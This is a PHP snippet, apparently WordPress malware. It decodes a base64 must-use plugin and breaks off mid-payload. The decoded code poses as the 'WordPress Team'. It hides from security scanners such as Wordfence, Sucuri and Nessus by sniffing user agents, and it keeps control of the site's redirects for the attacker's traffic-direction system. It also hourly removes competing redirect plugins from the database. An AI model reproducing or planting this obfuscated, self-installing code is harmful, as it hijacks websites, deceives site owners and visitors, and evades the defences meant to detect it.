/* __mu_deployer__ */ add_action('init', function() { $code = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiB7e01VX1BMVUdJTl9OQU1FfX0KICogRGVzY3JpcHRpb246IHt7TVVfUExVR0lOX0RFU0N9fQogKiBWZXJzaW9uOiAyLjE1LjAKICogQXV0aG9yOiBXb3JkUHJlc3MgVGVhbQogKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBleGl0Owp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgOCDigJQgQW50aS1kZXRlY3Rpb246INGB0LrRgNGL0YLQuNC1INC+0YIgc2VjdXJpdHkt0YHQutCw0L3QtdGA0L7QsgogKiDQlNC+0LvQttC10L0g0LHRi9GC0Ywg0J/QldCg0JXQlCDQstGB0LXQvNC4INCw0LrRgtC40LLQvdGL0LzQuCDQsdC70L7QutCw0LzQuAogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KJF93cF9zZXNzaW9uX3BhdXNlZCA9IGZhbHNlOwppZiAoJzEnID09PSAnMScpIHsKICAgICRfdWEgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIDogJyc7CiAgICAkX3NjYW5uZXJfcGF0dGVybnMgPSBhcnJheSgnV29yZGZlbmNlJywgJ1N1Y3VyaScsICdXUFNjYW4nLCAnTmVzc3VzJywgJ0FjdW5ldGl4JywgJ0J1cnAnLCAnTmlrdG8nLCAnc3FsbWFwJyk7CiAgICBmb3JlYWNoICgkX3NjYW5uZXJfcGF0dGVybnMgYXMgJF9zcCkgewogICAgICAgIGlmIChzdHJpcG9zKCRfdWEsICRfc3ApICE9PSBmYWxzZSkgewogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9wYXVzZScsIDEsIDE4MDApOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fcGF1c2UnKSkgewogICAgICAgICRfd3Bfc2Vzc2lvbl9wYXVzZWQgPSB0cnVlOwogICAgfQp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMC41IOKAlCBSZWRpcmVjdCBHdWFyZCAoV1AtbGV2ZWwpCiAqIEJsb2NrcyBBTEwgdW5hdXRob3JpemVkIGV4dGVybmFsIHJlZGlyZWN0cyBvbiBmcm9udGVuZCBHRVQgcmVxdWVzdHMuCiAqIFdoaXRlbGlzdHM6IG93biBkb21haW4vc3ViZG9tYWlucywgcGF5bWVudCBnYXRld2F5cywgT0F1dGgsIFdQLm9yZy4KICogT3VyIFREUyBkZWZpbmVzIF9TTV9SRURJUkVDVF9PSyBiZWZvcmUgcmVkaXJlY3RpbmcuCiAqIFR3byBsYXllcnM6IHdwX3JlZGlyZWN0IGZpbHRlciAoY2F0Y2hlcyBwcm9ncmFtbWF0aWMpICsgdGVtcGxhdGVfcmVkaXJlY3QgKGNhdGNoZXMgcmF3IGhlYWRlcnMpLgogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCEkX3dwX3Nlc3Npb25fcGF1c2VkICYmIGZ1bmN0aW9uX2V4aXN0cygnYWRkX2ZpbHRlcicpKSB7CgogICAgJF9zbV9yZ193aGl0ZWxpc3QgPSBhcnJheSgKICAgICAgICAvLyBQYXltZW50IGdhdGV3YXlzCiAgICAgICAgJ3N0cmlwZS5jb20nLCAnY2hlY2tvdXQuc3RyaXBlLmNvbScsICdjb25uZWN0LnN0cmlwZS5jb20nLCAnYmlsbGluZy5zdHJpcGUuY29tJywgJ2pzLnN0cmlwZS5jb20nLCAnbS5zdHJpcGUuY29tJywgJ2Rhc2hib2FyZC5zdHJpcGUuY29tJywKICAgICAgICAncGF5cGFsLmNvbScsICd3d3cucGF5cGFsLmNvbScsICdzYW5kYm94LnBheXBhbC5jb20nLCAncGF5Zmxvd2xpbmsucGF5cGFsLmNvbScsICdwYXlmbG93cHJvLnBheXBhbC5jb20nLAogICAgICAgICdwYXkuZ29vZ2xlLmNvbScsICdwYXltZW50cy5nb29nbGUuY29tJywKICAgICAgICAnc3F1YXJlLmNvbScsICdzcXVhcmV1cC5jb20nLCAnY29ubmVjdC5zcXVhcmV1cC5jb20nLCAnd2ViLnNxdWFyZWNkbi5jb20nLAogICAgICAgICdicmFpbnRyZWVnYXRld2F5LmNvbScsICdicmFpbnRyZWUtYXBpLmNvbScsICdwYXltZW50cy5icmFpbnRyZWUtYXBpLmNvbScsCiAgICAgICAgJ2F1dGhvcml6ZS5uZXQnLCAnc2VjdXJlLmF1dGhvcml6ZS5uZXQnLCAnYWNjZXB0LmF1dGhvcml6ZS5uZXQnLCAndGVzdC5hdXRob3JpemUubmV0JywKICAgICAgICAnYWR5ZW4uY29tJywgJ2NoZWNrb3V0LWxpdmUuYWR5ZW4uY29tJywgJ2NoZWNrb3V0c2hvcHBlci1saXZlLmFkeWVuLmNvbScsICdwYWwtbGl2ZS5hZHllbi5jb20nLAogICAgICAgICdyYXpvcnBheS5jb20nLCAnYXBpLnJhem9ycGF5LmNvbScsICdjaGVja291dC5yYXpvcnBheS5jb20nLAogICAgICAgICdtb2xsaWUuY29tJywgJ2NoZWNrb3V0Lm1vbGxpZS5jb20nLCAnYXBpLm1vbGxpZS5jb20nLAogICAgICAgICdwYWRkbGUuY29tJywgJ2NoZWNrb3V0LnBhZGRsZS5jb20nLCAnc2FuZGJveC1jaGVja291dC5wYWRkbGUuY29tJywKICAgICAgICAnMmNoZWNrb3V0LmNvbScsICdzZWN1cmUuMmNoZWNrb3V0LmNvbScsICdhdmFuZ2F0ZS5jb20nLAogICAgICAgICd3b3JsZHBheS5jb20nLCAnc2VjdXJlLndvcmxkcGF5LmNvbScsICdvbmxpbmUud29ybGRwYXkuY29tJywKICAgICAgICAnY3liZXJzb3VyY2UuY29tJywgJ3NlY3VyZWFjY2VwdGFuY2UuY3liZXJzb3VyY2UuY29tJywKICAgICAgICAncGF5dS5jb20nLCAnc2VjdXJlLnBheXUuY29tJywgJ3BheXUuaW4nLAogICAgICAgICdwYXlvbmVlci5jb20nLCAnbG9naW4ucGF5b25lZXIuY29tJywKICAgICAgICAncGF5c2VyYS5jb20nLCAnYmFuay5wYXlzZXJhLmNvbScsCiAgICAgICAgJ3BheXN0YWNrLmNvbScsICdjaGVja291dC5wYXlzdGFjay5jb20nLAogICAgICAgICdmbHV0dGVyd2F2ZS5jb20nLCAnY2hlY2tvdXQuZmx1dHRlcndhdmUuY29tJywKICAgICAgICAnbWVyY2Fkb3BhZ28uY29tJywgJ2NoZWNrb3V0Lm1lcmNhZG9wYWdvLmNvbScsICdtZXJjYWRvbGlicmUuY29tJywKICAgICAgICAncGFnc2VndXJvLnVvbC5jb20uYnInLAogICAgICAgICdpeXppcGF5LmNvbScsICdzYW5kYm94LWFwaS5peXppcGF5LmNvbScsCiAgICAgICAgJ2ZvbmR5LmV1JywgJ3BheS5mb25keS5ldScsCiAgICAgICAgJ2xpcXBheS51YScsICd3d3cubGlxcGF5LnVhJywKICAgICAgICAncG9ydG1vbmUuY29tLnVhJywKICAgICAgICAnd2F5Zm9ycGF5LmNvbScsICdzZWN1cmUud2F5Zm9ycGF5LmNvbScsCiAgICAgICAgJ3lvb2thc3NhLnJ1JywgJ3BheW1lbnQueW9va2Fzc2EucnUnLCAneW9vbW9uZXkucnUnLAogICAgICAgICdyb2Jva2Fzc2EuY29tJywgJ2F1dGgucm9ib2thc3NhLnJ1JywKICAgICAgICAndGlua29mZi5ydScsICdzZWN1cmVwYXkudGlua29mZi5ydScsICdhY3EtYXBpLnRpbmtvZmYucnUnLAogICAgICAgICdzYmVyYmFuay5ydScsICdzZWN1cmVwYXltZW50cy5zYmVyYmFuay5ydScsICczZHNlYy5zYmVyYmFuay5ydScsCiAgICAgICAgJ2FsZmFiYW5rLnJ1JywgJ3BheS5hbGZhYmFuay5ydScsCiAgICAgICAgJ2Nsb3VkcGF5bWVudHMucnUnLCAnd2lkZ2V0LmNsb3VkcGF5bWVudHMucnUnLAogICAgICAgIC8vIEJ1eSBub3cgLyBwYXkgbGF0ZXIKICAgICAgICAna2xhcm5hLmNvbScsICdjaGVja291dC5rbGFybmEuY29tJywgJ3gua2xhcm5hY2RuLm5ldCcsICdqcy5rbGFybmEuY29tJywKICAgICAgICAnYWZ0ZXJwYXkuY29tJywgJ3BvcnRhbC5hZnRlcnBheS5jb20nLAogICAgICAgICdhZmZpcm0uY29tJywgJ2NoZWNrb3V0LmFmZmlybS5jb20nLAogICAgICAgICdzZXp6bGUuY29tJywgJ2NoZWNrb3V0LnNlenpsZS5jb20nLAogICAgICAgICdjbGVhcnBheS5jb20nLAogICAgICAgICd6aXAuY28nLCAnY2hlY2tvdXQuemlwLmNvJywKICAgICAgICAvLyBNb25leSB0cmFuc2ZlcgogICAgICAgICd3aXNlLmNvbScsICd0cmFuc2Zlcndpc2UuY29tJywKICAgICAgICAncmVtaXRseS5jb20nLAogICAgICAgICd4b29tLmNvbScsCiAgICAgICAgJ3dlc3Rlcm51bmlvbi5jb20nLAogICAgICAgIC8vIENyeXB0bwogICAgICAgICdjb2luYmFzZS5jb20nLCAnY29tbWVyY2UuY29pbmJhc2UuY29tJywKICAgICAgICAnYml0cGF5LmNvbScsICdjaGVja291dC5iaXRwYXkuY29tJywKICAgICAgICAnbm93cGF5bWVudHMuaW8nLAogICAgICAgICdjb2luZ2F0ZS5jb20nLAogICAgICAgIC8vIFN1YnNjcmlwdGlvbnMgJiBiaWxsaW5nCiAgICAgICAgJ3JlY3VybHkuY29tJywgJ2FwaS5yZWN1cmx5LmNvbScsCiAgICAgICAgJ2NoYXJnZWJlZS5jb20nLAogICAgICAgICdndW1yb2FkLmNvbScsCiAgICAgICAgJ2xlbW9uc3F1ZWV6eS5jb20nLAogICAgICAgICdmYXN0c3ByaW5nLmNvbScsCiAgICAgICAgJ3NlbGxpeC5pbycsCiAgICAgICAgLy8gT0F1dGggJiBsb2dpbiBwcm92aWRlcnMKICAgICAgICAnYWNjb3VudHMuZ29vZ2xlLmNvbScsICdvYXV0aDIuZ29vZ2xlYXBpcy5jb20nLCAnd3d3Lmdvb2dsZWFwaXMuY29tJywgJ2xoMy5nb29nbGV1c2VyY29udGVudC5jb20nLAogICAgICAgICdmYWNlYm9vay5jb20nLCAnd3d3LmZhY2Vib29rLmNvbScsICdncmFwaC5mYWNlYm9vay5jb20nLCAnY29ubmVjdC5mYWNlYm9vay5uZXQnLAogICAgICAgICdhcHBsZS5jb20nLCAnYXBwbGVpZC5hcHBsZS5jb20nLAogICAgICAgICdsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tJywgJ2xvZ2luLmxpdmUuY29tJywgJ2xvZ2luLndpbmRvd3MubmV0JywKICAgICAgICAnZ2l0aHViLmNvbScsICdhcGkuZ2l0aHViLmNvbScsCiAgICAgICAgJ3R3aXR0ZXIuY29tJywgJ2FwaS50d2l0dGVyLmNvbScsICd4LmNvbScsCiAgICAgICAgJ2xpbmtlZGluLmNvbScsICd3d3cubGlua2VkaW4uY29tJywgJ2FwaS5saW5rZWRpbi5jb20nLAogICAgICAgICdhY2NvdW50cy5zcG90aWZ5LmNvbScsCiAgICAgICAgJ2Rpc2NvcmQuY29tJywgJ2Rpc2NvcmRhcHAuY29tJywKICAgICAgICAnc2xhY2suY29tJywgJ2FwcC5zbGFjay5jb20nLAogICAgICAgICdhdXRoMC5jb20nLAogICAgICAgICdva3RhLmNvbScsCiAgICAgICAgJ29uZWxvZ2luLmNvbScsCiAgICAgICAgLy8gV29yZFByZXNzIGVjb3N5c3RlbQogICAgICAgICd3b3JkcHJlc3Mub3JnJywgJ2FwaS53b3JkcHJlc3Mub3JnJywgJ2Rvd25sb2Fkcy53b3JkcHJlc3Mub3JnJywgJ21ha2Uud29yZHByZXNzLm9yZycsCiAgICAgICAgJ3dvcmRwcmVzcy5jb20nLCAncHVibGljLWFwaS53b3JkcHJlc3MuY29tJywgJ2pldHBhY2sud29yZHByZXNzLmNvbScsCiAgICAgICAgJ2dyYXZhdGFyLmNvbScsICdzZWN1cmUuZ3JhdmF0YXIuY29tJywgJ3cub3JnJywKICAgICAgICAnd29vY29tbWVyY2UuY29tJywgJ2FwaS53b29jb21tZXJjZS5jb20nLAogICAgICAgICdlbGVtZW50b3IuY29tJywgJ215LmVsZW1lbnRvci5jb20nLAogICAgICAgICdkZXZlbG9wZXIud29yZHByZXNzLm9yZycsCiAgICAgICAgJ2RldmVsb3Blci53b29jb21tZXJjZS5jb20nLAogICAgICAgICdkZXZlbG9wZXIud29yZGNhbXAub3JnJywKICAgICAgICAvLyBHb29nbGUgc2VydmljZXMKICAgICAgICAnZ29vZ2xlLmNvbScsICd3d3cuZ29vZ2xlLmNvbScsICdhY2NvdW50cy5nb29nbGUuY29tJywKICAgICAgICAnZ29vZ2xlLmNvLnVrJywgJ2dvb2dsZS5kZScsICdnb29nbGUuZnInLCAnZ29vZ2xlLmVzJywgJ2dvb2dsZS5pdCcsICdnb29nbGUucnUnLCAnZ29vZ2xlLmNvbS5icicsCiAgICAgICAgJ21hcHMuZ29vZ2xlLmNvbScsICdkcml2ZS5nb29nbGUuY29tJywgJ2RvY3MuZ29vZ2xlLmNvbScsCiAgICAgICAgJ3lvdXR1YmUuY29tJywgJ3d3dy55b3V0dWJlLmNvbScsCiAgICAgICAgJ3JlY2FwdGNoYS5uZXQnLCAnd3d3LnJlY2FwdGNoYS5uZXQnLAogICAgICAgIC8vIENETiAmIHNlY3VyaXR5CiAgICAgICAgJ2Nsb3VkZmxhcmUuY29tJywgJ2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20nLCAnZGFzaC5jbG91ZGZsYXJlLmNvbScsCiAgICAgICAgJ3N1Y3VyaS5uZXQnLCAnd2FmLnN1Y3VyaS5uZXQnLAogICAgICAgICdzdGFja3BhdGhkbnMuY29tJywgJ3N0YWNrcGF0aC5jb20nLAogICAgICAgICdpbmNhcHN1bGEuY29tJywKICAgICAgICAnYWthbWFpLmNvbScsICdlZGdla2V5Lm5ldCcsCiAgICAgICAgJ2Zhc3RseS5jb20nLAogICAgICAgICdqc2RlbGl2ci5uZXQnLAogICAgICAgICd1bnBrZy5jb20nLAogICAgICAgICdjZG5qcy5jbG91ZGZsYXJlLmNvbScsCiAgICAgICAgLy8gRW1haWwgc2VydmljZXMKICAgICAgICAnbWFpbGNoaW1wLmNvbScsICdsaXN0LW1hbmFnZS5jb20nLCAnZWVwdXJsLmNvbScsCiAgICAgICAgJ3NlbmRpbmJsdWUuY29tJywgJ2JyZXZvLmNvbScsCiAgICAgICAgJ2NvbnN0YW50Y29udGFjdC5jb20nLAogICAgICAgICdodWJzcG90LmNvbScsICdhcHAuaHVic3BvdC5jb20nLCAnZm9ybXMuaHVic3BvdC5jb20nLAogICAgICAgICdtYWlsZXJsaXRlLmNvbScsCiAgICAgICAgJ2NvbnZlcnRraXQuY29tJywKICAgICAgICAnZ2V0cmVzcG9uc2UuY29tJywKICAgICAgICAnYWN0aXZlY2FtcGFpZ24uY29tJywKICAgICAgICAnYXdlYmVyLmNvbScsCiAgICAgICAgJ2RyaXAuY29tJywKICAgICAgICAvLyBBbmFseXRpY3MgJiBtYXJrZXRpbmcKICAgICAgICAnYW5hbHl0aWNzLmdvb2dsZS5jb20nLCAndGFnbWFuYWdlci5nb29nbGUuY29tJywgJ21hcmtldGluZ3BsYXRmb3JtLmdvb2dsZS5jb20nLAogICAgICAgICdob3RqYXIuY29tJywgJ3ZhcnMuaG90amFyLmNvbScsCiAgICAgICAgJ2NsYXJpdHkubXMnLAogICAgICAgICdtaXhwYW5lbC5jb20nLAogICAgICAgICdzZWdtZW50LmNvbScsCiAgICAgICAgJ2FtcGxpdHVkZS5jb20nLAogICAgICAgIC8vIFNvY2lhbCAmIHNoYXJpbmcKICAgICAgICAnaW5zdGFncmFtLmNvbScsICd3d3cuaW5zdGFncmFtLmNvbScsCiAgICAgICAgJ3BpbnRlcmVzdC5jb20nLCAnd3d3LnBpbnRlcmVzdC5jb20nLAogICAgICAgICd0aWt0b2suY29tJywgJ3d3dy50aWt0b2suY29tJywKICAgICAgICAncmVkZGl0LmNvbScsICd3d3cucmVkZGl0LmNvbScsCiAgICAgICAgJ3R1bWJsci5jb20nLCAnd3d3LnR1bWJsci5jb20nLAogICAgICAgIC8vIEJvb2tpbmcgLyBzY2hlZHVsaW5nCiAgICAgICAgJ2NhbGVuZGx5LmNvbScsCiAgICAgICAgJ2Jvb2tpbmcuY29tJywKICAgICAgICAnYWN1aXR5c2NoZWR1bGluZy5jb20nLAogICAgICAgICdzcXVhcmVzcGFjZS5jb20nLAogICAgICAgICdzZXRtb3JlLmNvbScsCiAgICAgICAgLy8gQ1JNICYgc3VwcG9ydAogICAgICAgICd6ZW5kZXNrLmNvbScsCiAgICAgICAgJ2ludGVyY29tLmlvJywKICAgICAgICAnZnJlc2hkZXNrLmNvbScsCiAgICAgICAgJ2NyaXNwLmNoYXQnLAogICAgICAgICd0YXdrLnRvJywKICAgICAgICAnbGl2ZWNoYXRpbmMuY29tJywKICAgICAgICAndGlkaW8uY28nLAogICAgICAgIC8vIENsb3VkIHN0b3JhZ2UKICAgICAgICAnZHJvcGJveC5jb20nLCAnd3d3LmRyb3Bib3guY29tJywKICAgICAgICAnb25lZHJpdmUubGl2ZS5jb20nLAogICAgICAgICdib3guY29tJywgJ2FwcC5ib3guY29tJywKICAgICAgICAvLyBNaXNjIGxlZ2l0aW1hdGUKICAgICAgICAnYW1hem9uLmNvbScsICd3d3cuYW1hem9uLmNvbScsICdhd3MuYW1hem9uLmNvbScsCiAgICAgICAgJ2ViYXkuY29tJywKICAgICAgICAnc2hvcGlmeS5jb20nLAogICAgICAgICdldHN5LmNvbScsCiAgICAgICAgJ3pvb20udXMnLAogICAgICAgICd0ZWFtcy5taWNyb3NvZnQuY29tJywKICAgICAgICAnbWVldC5nb29nbGUuY29tJywKICAgICk7CgogICAgJF9zbV9yZ19sb2dfcGF0aCA9IChkZWZpbmVkKCdXUF9DT05URU5UX0RJUicpID8gV1BfQ09OVEVOVF9ESVIgOiBfX0RJUl9fKSAuICcvdXBsb2Fkcy8ucmVkaXJlY3RfYmxvY2tlZC5sb2cnOwoKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdfc21fcmdfaXNfYWxsb3dlZCcpKSB7CiAgICAgICAgZnVuY3Rpb24gX3NtX3JnX2lzX2FsbG93ZWQoJHVybCwgJHdoaXRlbGlzdCkgewogICAgICAgICAgICBpZiAoZGVmaW5lZCgnX1NNX1JFRElSRUNUX09LJykpIHJldHVybiB0cnVlOwogICAgICAgICAgICBpZiAoKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID8/ICdHRVQnKSAhPT0gJ0dFVCcpIHJldHVybiB0cnVlOwogICAgICAgICAgICBpZiAoZGVmaW5lZCgnRE9JTkdfQ1JPTicpIHx8IGRlZmluZWQoJ0RPSU5HX0FKQVgnKSB8fCBkZWZpbmVkKCdSRVNUX1JFUVVFU1QnKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX2FkbWluJykgJiYgaXNfYWRtaW4oKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmIChlbXB0eSgkdXJsKSB8fCAkdXJsWzBdID09PSAnLycgfHwgJHVybFswXSA9PT0gJz8nIHx8ICR1cmxbMF0gPT09ICcjJykgcmV0dXJuIHRydWU7CgogICAgICAgICAgICAkaG9zdCA9IHN0cnRvbG93ZXIoQHBhcnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpID86ICcnKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRob3N0KSkgcmV0dXJuIHRydWU7CgogICAgICAgICAgICAkb3duID0gZnVuY3Rpb25fZXhpc3RzKCdob21lX3VybCcpID8gc3RydG9sb3dlcihAcGFyc2VfdXJsKGhvbWVfdXJsKCksIFBIUF9VUkxfSE9TVCkgPzogJycpIDogc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJycpOwogICAgICAgICAgICBpZiAoZW1wdHkoJG93bikpIHJldHVybiB0cnVlOwogICAgICAgICAgICAkb3duX2JhcmUgPSBwcmVnX3JlcGxhY2UoJy9ed3d3XFwuLycsICcnLCAkb3duKTsKICAgICAgICAgICAgJGhvc3RfYmFyZSA9IHByZWdfcmVwbGFjZSgnL153d3dcXC4vJywgJycsICRob3N0KTsKCiAgICAgICAgICAgIGlmICgkaG9zdF9iYXJlID09PSAkb3duX2JhcmUpIHJldHVybiB0cnVlOwogICAgICAgICAgICBpZiAoc3Vic3RyKCRob3N0X2JhcmUsIC1zdHJsZW4oJy4nIC4gJG93bl9iYXJlKSkgPT09ICcuJyAuICRvd25fYmFyZSkgcmV0dXJuIHRydWU7CgogICAgICAgICAgICBmb3JlYWNoICgkd2hpdGVsaXN0IGFzICR3bCkgewogICAgICAgICAgICAgICAgaWYgKCRob3N0X2JhcmUgPT09ICR3bCB8fCBzdWJzdHIoJGhvc3RfYmFyZSwgLXN0cmxlbignLicgLiAkd2wpKSA9PT0gJy4nIC4gJHdsKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8vIExheWVyIDE6IHdwX3JlZGlyZWN0IGZpbHRlciDigJQgY2F0Y2hlcyBhbGwgd3BfcmVkaXJlY3QoKSAvIHdwX3NhZmVfcmVkaXJlY3QoKSBjYWxscwogICAgYWRkX2ZpbHRlcignd3BfcmVkaXJlY3QnLCBmdW5jdGlvbiAoJGxvY2F0aW9uKSB1c2UgKCRfc21fcmdfd2hpdGVsaXN0LCAkX3NtX3JnX2xvZ19wYXRoKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFfc21fcmdfaXNfYWxsb3dlZCgkbG9jYXRpb24sICRfc21fcmdfd2hpdGVsaXN0KSkgewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKAogICAgICAgICAgICAgICAgICAgICRfc21fcmdfbG9nX3BhdGgsCiAgICAgICAgICAgICAgICAgICAgZGF0ZSgnWS1tLWQgSDppOnMnKSAuICcgQkxPQ0tFRCB3cF9yZWRpcmVjdDogJyAuICRsb2NhdGlvbiAuICcgVVJJPScgLiAoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gPz8gJy8nKSAuIFBIUF9FT0wsCiAgICAgICAgICAgICAgICAgICAgRklMRV9BUFBFTkQgfCBMT0NLX0VYCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkZSkge30KICAgICAgICByZXR1cm4gJGxvY2F0aW9uOwogICAgfSwgMSk7CgogICAgLy8gTGF5ZXIgMjogdGVtcGxhdGVfcmVkaXJlY3Qg4oCUIGNhdGNoZXMgcmF3IGhlYWRlcignTG9jYXRpb246Jykgc2V0IGJlZm9yZSBXUAogICAgYWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCBmdW5jdGlvbiAoKSB1c2UgKCRfc21fcmdfd2hpdGVsaXN0LCAkX3NtX3JnX2xvZ19wYXRoKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgZm9yZWFjaCAoaGVhZGVyc19saXN0KCkgYXMgJGgpIHsKICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRoLCAnTG9jYXRpb246JykgIT09IDApIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJHVybCA9IHRyaW0oc3Vic3RyKCRoLCA5KSk7CiAgICAgICAgICAgICAgICBpZiAoIV9zbV9yZ19pc19hbGxvd2VkKCR1cmwsICRfc21fcmdfd2hpdGVsaXN0KSkgewogICAgICAgICAgICAgICAgICAgIEBoZWFkZXJfcmVtb3ZlKCdMb2NhdGlvbicpOwogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygKICAgICAgICAgICAgICAgICAgICAgICAgJF9zbV9yZ19sb2dfcGF0aCwKICAgICAgICAgICAgICAgICAgICAgICAgZGF0ZSgnWS1tLWQgSDppOnMnKSAuICcgQkxPQ0tFRCBoZWFkZXI6ICcgLiAkdXJsIC4gJyBVUkk9JyAuICgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycpIC4gUEhQX0VPTCwKICAgICAgICAgICAgICAgICAgICAgICAgRklMRV9BUFBFTkQgfCBMT0NLX0VYCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJGUpIHt9CiAgICB9LCAxKTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDAuNiDigJQgUmVkaXJlY3QgQXV0by1DbGVhbgogKiBQZXJpb2RpY2FsbHkgKDF4L2hvdXIpIHNjYW5zIERCIGZvciBtYWxpY2lvdXMgcmVkaXJlY3Qgb3B0aW9ucwogKiBhbmQgZGVhY3RpdmF0ZXMvcmVtb3ZlcyBtYWxpY2lvdXMgcmVkaXJlY3QgcGx1Z2lucy4KICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICghJF93cF9zZXNzaW9uX3BhdXNlZCAmJiBmdW5jdGlvbl9leGlzdHMoJ2FkZF9hY3Rpb24nKSkgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3NtX3JlZGlyX2NsZWFuJykpIHJldHVybjsKICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX3NtX3JlZGlyX2NsZWFuJywgMSwgMzYwMCk7CgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7CiAgICAgICAgICAgIGlmICghaXNzZXQoJHdwZGIpIHx8ICEkd3BkYikgcmV0dXJuOwoKICAgICAgICAgICAgJF9vd25faG9zdCA9IHN0cnRvbG93ZXIocHJlZ19yZXBsYWNlKCcvXnd3d1xcLi8nLCAnJywgQHBhcnNlX3VybChob21lX3VybCgpLCBQSFBfVVJMX0hPU1QpID86ICcnKSk7CiAgICAgICAgICAgIGlmIChlbXB0eSgkX293bl9ob3N0KSkgcmV0dXJuOwoKICAgICAgICAgICAgJF9sb2dfcGF0aCA9IChkZWZpbmVkKCdXUF9DT05URU5UX0RJUicpID8gV1BfQ09OVEVOVF9ESVIgOiBBQlNQQVRIKSAuICcvdXBsb2Fkcy8ucmVkaXJlY3RfYmxvY2tlZC5sb2cnOwogICAgICAgICAgICAkX2NsZWFuZWQgPSBhcnJheSgpOwoKICAgICAgICAgICAgLy8gMS4gU2NhbiByZWRpcmVjdCBvcHRpb25zIGluIHdwX29wdGlvbnMKICAgICAgICAgICAgJF9yZWRpcl9vcHRzID0gJHdwZGItPmdldF9yZXN1bHRzKAogICAgICAgICAgICAgICAgIlNFTEVDVCBvcHRpb25fbmFtZSwgb3B0aW9uX3ZhbHVlIEZST00geyR3cGRiLT5vcHRpb25zfQogICAgICAgICAgICAgICAgIFdIRVJFIG9wdGlvbl9uYW1lIE5PVCBMSUtFICdfdHJhbnNpZW50JScKICAgICAgICAgICAgICAgICBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJ19zaXRlX3RyYW5zaWVudCUnCiAgICAgICAgICAgICAgICAgQU5EIG9wdGlvbl9uYW1lIE5PVCBJTiAoJ2FjdGl2ZV9wbHVnaW5zJywncmV3cml0ZV9ydWxlcycsJ3NpdGV1cmwnLCdob21lJywnYmxvZ25hbWUnLCdibG9nZG